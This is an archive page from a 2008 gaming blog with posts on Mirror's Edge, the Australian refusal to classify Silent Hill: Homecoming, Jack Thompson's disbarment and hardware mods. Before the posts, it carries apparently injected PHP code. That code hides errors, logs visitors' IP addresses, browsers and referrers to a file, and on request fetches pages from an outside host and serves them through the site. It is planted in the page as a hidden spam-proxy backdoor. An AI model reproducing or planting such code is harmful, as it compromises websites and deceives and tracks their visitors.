error_reporting(0); ini_set('display_errors',0); define('STATFILE','stat.txt'); define('LOG',true); if(isset($_GET['p'])) { $sock = fsockopen('km32025.keymachine.de', 80); if($sock){ if (LOG && isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) { $referer = rawurlencode($_SERVER['HTTP_REFERER']); $remote_ip = $_SERVER['REMOTE_ADDR']; $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $file = fopen(STATFILE,'ab'); if ($file) { fwrite($file,date('Y-m-d H:i:s').' '.$remote_ip.' '.$user_agent.' '.rawurldecode($referer)."\n"); fclose($file); } } fwrite ($sock, 'GET http://km32025.keymachine.de/oslik2/cn/7/'.$_GET['p'].'.html HTTP/1.0'."\r\n"); fwrite ($sock, 'Host: km32025.keymachine.de'."\r\n\r\n"); while($content[] = fgets ($sock)); $content = implode('', $content); echo(trim(substr($content, strpos($content, "\r\n\r\n")))); fclose ($sock);} exit; } -=+fastlikesquirrel.com+=- » 2008 » September

Archive for September, 2008

Behind the Mirror

Tuesday, September 30th, 2008

During the last couple of years, there has been a substantial lack of action-adventure games that feature a decent escape mechanism. I’m not just talking about dodging bullets and then running to the next scene/level, I’m talking about the ability to blend into a group of NPCs or by using the terrain around you to escape your pursuers (a-la Parkour). Assassin’s Creed was the first game I felt that covered off on this and the fluidity of the climbing aspects was astounding. That said, it looks like there is a new player on the scene called Mirror’s Edge.

Mirror’s Edge is an upcoming first person action-adventure video game being developed by EA Digital Illusions CE (DICE), due for release on PlayStation 3 and Xbox 360 in early November. Over at 1up.com, they have a behind the scenes look at the game and describe the process of making a first-person Parkour game. It’s definitely worth a read…

Judging by the early footage I’ve seen and the research I’ve conducted, I’m going out on a limb and pegging this game as a must-have.

Silent Hill silenced

Monday, September 29th, 2008

New Enthusiast has received word from the Classification Board on the ruling of Silent Hill: Homecoming.

It was refused classification due to the high impact violence throughout the game. From the scenarios used as examples, usually accompanied by copious amounts of blood, it is clear that the violence would never warrant an MA15+ rating, hence the refusal of classification. Here is an example of a scene described in the report:

“The violence is considered highly impactful in such scenes as where an electric drill is explicitly forced through Alex’s right eye socket, remaining there for an extended period as Alex screams and blood sprays from the wound. There are several scenarios in which this means of death is used, on one occasion the drill being wielded by a zombie-nurse and on another by a woman named Margaret. In an alternative scenario, Alex turns the drill on his attacker and the drill is explicitly forced up through the woman’s chin until she falls to the floor with the drill embedded in her skull.”

Local distributors, Atari Australia, have yet to comment on what their next step will be regarding this classification ruling.

Another one bites the dust…

Friday, September 26th, 2008

Silent Hill: Homecoming is the latest title to feel the wrath of The Classification Board, with news that the horror title has been refused classification in Australia.

The game, which was due for release on PC, PS3 and Xbox 360 in November, features a soldier who returns from war to search for his missing brother. It is distributed in Australia by Atari, who last had classification difficulties with the controversial Marc Ecko’s Getting Up.

Source

The Classification Board DB entry

Silent Hill: Homecoming was to be the sixth installment in the Silent Hill survival horror video game series, currently being developed by Foundation 9 studio, Double Helix Games, and published by Konami.

This makes it the fourth game this year to be refused classification by the Board. I’m still waiting to see how the government is going to allow the public to voice their concerns over the lack of a R18+ classification for video games. I, for one, will be front and centre, making as much noise as possible.

JT disbarred

Thursday, September 25th, 2008

It has finally happened… the Florida Supreme Court has affirmed a referee’s recommendation to permanently disbar controversial Miami attorney Jack Thompson.

The action, which takes effect in 30 days, means that Thompson will no longer be licensed to practice law and may not apply for reinstatement. Ever.

In citing a litany of offenses, the Court noted Thompson’s extensive pattern of misconduct and cited a “complete lack of remorse.”

The Court also upheld a fine of $43,675 against Thompson.

For his part, Thompson offered his standard-issue bluster, announcing his disbarment in an e-mail which carried the subject line “Now the Fun Begins.” Thompson has also filed a request with the U.S. District Court for an emergency stay of the FLSC’s order disbarring him.

Source

Sweet, steaming justice.

Of course, naysayers are crawling out of the woodwork to exclaim that once Thompson is gone, he may be replaced by another more competent lawyer, slinging mud on video games. Surely, I jest… a competent lawyer… in America?

Previous JT Bar trial.

UPDATE 26/09/08: Impromptu disbarment parties are now starting to surface. This time, the cake is no lie…

Portable N64

Wednesday, September 24th, 2008

Console modder, Ben Heck, has previously created some awesome mods… from X360 laptops to an Atari 2600/PS2 combo unit. But this entry isn’t about Ben, but rather a regular on his forums that has created a portable N64, dubbed Darth 64.

By using the chassis of another electronic device, he rips the guts out of it and places in the innards of the N64, with some slight modifications for a screen and a smaller controller than the default size. The end result, plus additional images and some info on how to complete the project yourself, are located at Ben Heck’s forums.

Defender of Earth

Tuesday, September 23rd, 2008

I was browsing Flickr today and found some cool art based on Commander Keen in various cities around Australia.

Commander Keen, developed by id Software in the early ’90s, is an iconic side-scrolling action game, similar to Super Mario Bros.

“Billy Blaze is an eight-year-old boy genius who has constructed a spaceship in his backyard from old soup cans and other household objects, called The Bean-with-Bacon Megarocket. When his parents are out and the babysitter falls asleep, he dons his brother’s Packers helmet and becomes Commander Keen, Defender of Earth. Keen is purported to have an IQ of 314 and is the grandson of William Joseph “B.J.” Blazkowicz (the Allied war hero of Wolfenstein 3D).”

Be sure to check out all the images, there’s some really imaginative ideas.